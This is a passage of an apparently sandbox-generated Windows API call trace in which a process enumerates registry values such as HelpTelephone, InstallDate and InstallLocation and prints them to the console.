returned 4 [0147.172] GetConsoleOutputCP () returned 0x1b5 [0147.172] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.172] GetConsoleOutputCP () returned 0x1b5 [0147.172] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.172] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.172] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.172] __iob_func () returned 0x7fefd702a80 [0147.172] _fileno (_File=0x7fefd702ab0) returned 1 [0147.172] _errno () returned 0xc4bb0 [0147.172] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.172] _errno () returned 0xc4bb0 [0147.172] GetFileType (hFile=0x50) returned 0x1 [0147.172] lstrlenW (lpString="http://go.microsoft.com/fwlink/?LinkId=133405") returned 45 [0147.172] GetConsoleOutputCP () returned 0x1b5 [0147.172] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=133405", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0147.172] GetConsoleOutputCP () returned 0x1b5 [0147.173] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=133405", cchWideChar=45, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://go.microsoft.com/fwlink/?LinkId=133405", lpUsedDefaultChar=0x0) returned 45 [0147.173] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 45 [0147.173] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.173] __iob_func () returned 0x7fefd702a80 [0147.173] _fileno (_File=0x7fefd702ab0) returned 1 [0147.173] _errno () returned 0xc4bb0 [0147.173] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.173] _errno () returned 0xc4bb0 [0147.173] GetFileType (hFile=0x50) returned 0x1 [0147.173] lstrlenW (lpString="\n") returned 1 [0147.173] GetConsoleOutputCP () returned 0x1b5 [0147.173] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.173] GetConsoleOutputCP () returned 0x1b5 [0147.173] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.173] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.173] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.173] GetProcessHeap () returned 0x2e0000 [0147.173] GetProcessHeap () returned 0x2e0000 [0147.173] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0147.173] GetProcessHeap () returned 0x2e0000 [0147.173] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x5e [0147.173] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0 | out: hHeap=0x2e0000) returned 1 [0147.173] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpTelephone", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.173] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.174] GetProcessHeap () returned 0x2e0000 [0147.174] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.174] GetProcessHeap () returned 0x2e0000 [0147.174] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.174] GetProcessHeap () returned 0x2e0000 [0147.174] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.174] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.174] __iob_func () returned 0x7fefd702a80 [0147.174] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.174] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.174] _fileno (_File=0x7fefd702ab0) returned 1 [0147.174] _errno () returned 0xc4bb0 [0147.174] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.174] _errno () returned 0xc4bb0 [0147.174] GetFileType (hFile=0x50) returned 0x1 [0147.174] lstrlenW (lpString=" ") returned 4 [0147.174] GetConsoleOutputCP () returned 0x1b5 [0147.174] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.174] GetConsoleOutputCP () returned 0x1b5 [0147.174] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.174] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.174] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.174] lstrlenW (lpString="HelpTelephone") returned 13 [0147.174] __iob_func () returned 0x7fefd702a80 [0147.174] _fileno (_File=0x7fefd702ab0) returned 1 [0147.174] _errno () returned 0xc4bb0 [0147.174] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.174] _errno () returned 0xc4bb0 [0147.174] GetFileType (hFile=0x50) returned 0x1 [0147.175] lstrlenW (lpString="HelpTelephone") returned 13 [0147.175] GetConsoleOutputCP () returned 0x1b5 [0147.175] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.175] GetConsoleOutputCP () returned 0x1b5 [0147.175] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpTelephone", lpUsedDefaultChar=0x0) returned 13 [0147.175] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.175] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.175] __iob_func () returned 0x7fefd702a80 [0147.175] _fileno (_File=0x7fefd702ab0) returned 1 [0147.175] _errno () returned 0xc4bb0 [0147.175] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.175] _errno () returned 0xc4bb0 [0147.175] GetFileType (hFile=0x50) returned 0x1 [0147.175] lstrlenW (lpString=" ") returned 4 [0147.175] GetConsoleOutputCP () returned 0x1b5 [0147.175] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.175] GetConsoleOutputCP () returned 0x1b5 [0147.175] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.175] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.176] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.176] __iob_func () returned 0x7fefd702a80 [0147.176] _fileno (_File=0x7fefd702ab0) returned 1 [0147.176] _errno () returned 0xc4bb0 [0147.176] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.176] _errno () returned 0xc4bb0 [0147.176] GetFileType (hFile=0x50) returned 0x1 [0147.176] lstrlenW (lpString="REG_SZ") returned 6 [0147.176] GetConsoleOutputCP () returned 0x1b5 [0147.176] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.176] GetConsoleOutputCP () returned 0x1b5 [0147.176] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.176] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.176] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.176] __iob_func () returned 0x7fefd702a80 [0147.176] _fileno (_File=0x7fefd702ab0) returned 1 [0147.176] _errno () returned 0xc4bb0 [0147.176] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.176] _errno () returned 0xc4bb0 [0147.176] GetFileType (hFile=0x50) returned 0x1 [0147.176] lstrlenW (lpString=" ") returned 4 [0147.176] GetConsoleOutputCP () returned 0x1b5 [0147.176] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.177] GetConsoleOutputCP () returned 0x1b5 [0147.177] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.177] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.177] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.177] __iob_func () returned 0x7fefd702a80 [0147.177] _fileno (_File=0x7fefd702ab0) returned 1 [0147.177] _errno () returned 0xc4bb0 [0147.177] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.177] _errno () returned 0xc4bb0 [0147.177] GetFileType (hFile=0x50) returned 0x1 [0147.177] lstrlenW (lpString="") returned 0 [0147.177] __iob_func () returned 0x7fefd702a80 [0147.177] _fileno (_File=0x7fefd702ab0) returned 1 [0147.177] _errno () returned 0xc4bb0 [0147.177] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.177] _errno () returned 0xc4bb0 [0147.177] GetFileType (hFile=0x50) returned 0x1 [0147.177] lstrlenW (lpString="\n") returned 1 [0147.177] GetConsoleOutputCP () returned 0x1b5 [0147.177] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.177] GetConsoleOutputCP () returned 0x1b5 [0147.177] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.177] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.177] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.178] GetProcessHeap () returned 0x2e0000 [0147.178] GetProcessHeap () returned 0x2e0000 [0147.178] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.178] GetProcessHeap () returned 0x2e0000 [0147.178] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.178] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.178] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallDate", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.178] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x14) returned 0x0 [0147.178] GetProcessHeap () returned 0x2e0000 [0147.178] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x16) returned 0x2fd1a0 [0147.178] GetProcessHeap () returned 0x2e0000 [0147.178] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0) returned 1 [0147.178] GetProcessHeap () returned 0x2e0000 [0147.178] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd1a0) returned 0x16 [0147.178] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd1a0, pcbData=0x23f670*=0x14 | out: pdwType=0x23f5f0*=0x1, pvData="20170630", pcbData=0x23f670*=0x12) returned 0x0 [0147.178] __iob_func () returned 0x7fefd702a80 [0147.178] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.178] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.178] _fileno (_File=0x7fefd702ab0) returned 1 [0147.178] _errno () returned 0xc4bb0 [0147.178] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.178] _errno () returned 0xc4bb0 [0147.178] GetFileType (hFile=0x50) returned 0x1 [0147.178] lstrlenW (lpString=" ") returned 4 [0147.178] GetConsoleOutputCP () returned 0x1b5 [0147.178] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.178] GetConsoleOutputCP () returned 0x1b5 [0147.179] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.179] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.179] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.179] lstrlenW (lpString="InstallDate") returned 11 [0147.179] __iob_func () returned 0x7fefd702a80 [0147.179] _fileno (_File=0x7fefd702ab0) returned 1 [0147.179] _errno () returned 0xc4bb0 [0147.179] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.179] _errno () returned 0xc4bb0 [0147.179] GetFileType (hFile=0x50) returned 0x1 [0147.179] lstrlenW (lpString="InstallDate") returned 11 [0147.179] GetConsoleOutputCP () returned 0x1b5 [0147.179] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0147.179] GetConsoleOutputCP () returned 0x1b5 [0147.179] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallDate", lpUsedDefaultChar=0x0) returned 11 [0147.179] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0147.179] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.179] __iob_func () returned 0x7fefd702a80 [0147.179] _fileno (_File=0x7fefd702ab0) returned 1 [0147.179] _errno () returned 0xc4bb0 [0147.179] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.179] _errno () returned 0xc4bb0 [0147.179] GetFileType (hFile=0x50) returned 0x1 [0147.179] lstrlenW (lpString=" ") returned 4 [0147.179] GetConsoleOutputCP () returned 0x1b5 [0147.180] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.180] GetConsoleOutputCP () returned 0x1b5 [0147.180] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.180] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.180] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.180] __iob_func () returned 0x7fefd702a80 [0147.180] _fileno (_File=0x7fefd702ab0) returned 1 [0147.180] _errno () returned 0xc4bb0 [0147.180] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.180] _errno () returned 0xc4bb0 [0147.180] GetFileType (hFile=0x50) returned 0x1 [0147.180] lstrlenW (lpString="REG_SZ") returned 6 [0147.180] GetConsoleOutputCP () returned 0x1b5 [0147.180] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.180] GetConsoleOutputCP () returned 0x1b5 [0147.181] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.181] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.181] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.181] __iob_func () returned 0x7fefd702a80 [0147.181] _fileno (_File=0x7fefd702ab0) returned 1 [0147.181] _errno () returned 0xc4bb0 [0147.181] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.181] _errno () returned 0xc4bb0 [0147.181] GetFileType (hFile=0x50) returned 0x1 [0147.181] lstrlenW (lpString=" ") returned 4 [0147.181] GetConsoleOutputCP () returned 0x1b5 [0147.181] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.181] GetConsoleOutputCP () returned 0x1b5 [0147.181] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.181] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.181] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.181] __iob_func () returned 0x7fefd702a80 [0147.181] _fileno (_File=0x7fefd702ab0) returned 1 [0147.181] _errno () returned 0xc4bb0 [0147.181] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.181] _errno () returned 0xc4bb0 [0147.181] GetFileType (hFile=0x50) returned 0x1 [0147.181] lstrlenW (lpString="20170630") returned 8 [0147.181] GetConsoleOutputCP () returned 0x1b5 [0147.182] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170630", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.182] GetConsoleOutputCP () returned 0x1b5 [0147.182] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170630", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="20170630", lpUsedDefaultChar=0x0) returned 8 [0147.182] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.182] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.182] __iob_func () returned 0x7fefd702a80 [0147.182] _fileno (_File=0x7fefd702ab0) returned 1 [0147.182] _errno () returned 0xc4bb0 [0147.182] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.182] _errno () returned 0xc4bb0 [0147.182] GetFileType (hFile=0x50) returned 0x1 [0147.182] lstrlenW (lpString="\n") returned 1 [0147.182] GetConsoleOutputCP () returned 0x1b5 [0147.182] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.182] GetConsoleOutputCP () returned 0x1b5 [0147.182] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.182] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.182] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.182] GetProcessHeap () returned 0x2e0000 [0147.182] GetProcessHeap () returned 0x2e0000 [0147.182] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0) returned 1 [0147.182] GetProcessHeap () returned 0x2e0000 [0147.183] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd1a0) returned 0x16 [0147.183] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0 | out: hHeap=0x2e0000) returned 1 [0147.183] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallLocation", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.183] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.183] GetProcessHeap () returned 0x2e0000 [0147.183] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.183] GetProcessHeap () returned 0x2e0000 [0147.183] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.183] GetProcessHeap () returned 0x2e0000 [0147.183] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.183] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.183] __iob_func () returned 0x7fefd702a80 [0147.183] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.183] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.183] _fileno (_File=0x7fefd702ab0) returned 1 [0147.183] _errno () returned 0xc4bb0 [0147.183] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.183] _errno () returned 0xc4bb0 [0147.183] GetFileType (hFile=0x50) returned 0x1 [0147.183] lstrlenW (lpString=" ") returned 4 [0147.183] GetConsoleOutputCP () returned 0x1b5 [0147.183] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.183] GetConsoleOutputCP () returned 0x1b5 [0147.183] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.183] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.183] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.183] lstrlenW (lpString="InstallLocation") returned 15 [0147.184] __iob_func () returned 0x7fefd702a80 [0147.184] _fileno (_File=0x7fefd702ab0) returned 1 [0147.184] _errno () returned 0xc4bb0 [0147.184] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.184] _errno () returned 0xc4bb0 [0147.184] GetFileType (hFile=0x50) returned 0x1 [0147.184] lstrlenW (lpString="InstallLocation") returned 15 [0147.184] GetConsoleOutputCP () returned 0x1b5 [0147.184] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0147.184] GetConsoleOutputCP () returned 0x1b5 [0147.184] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, 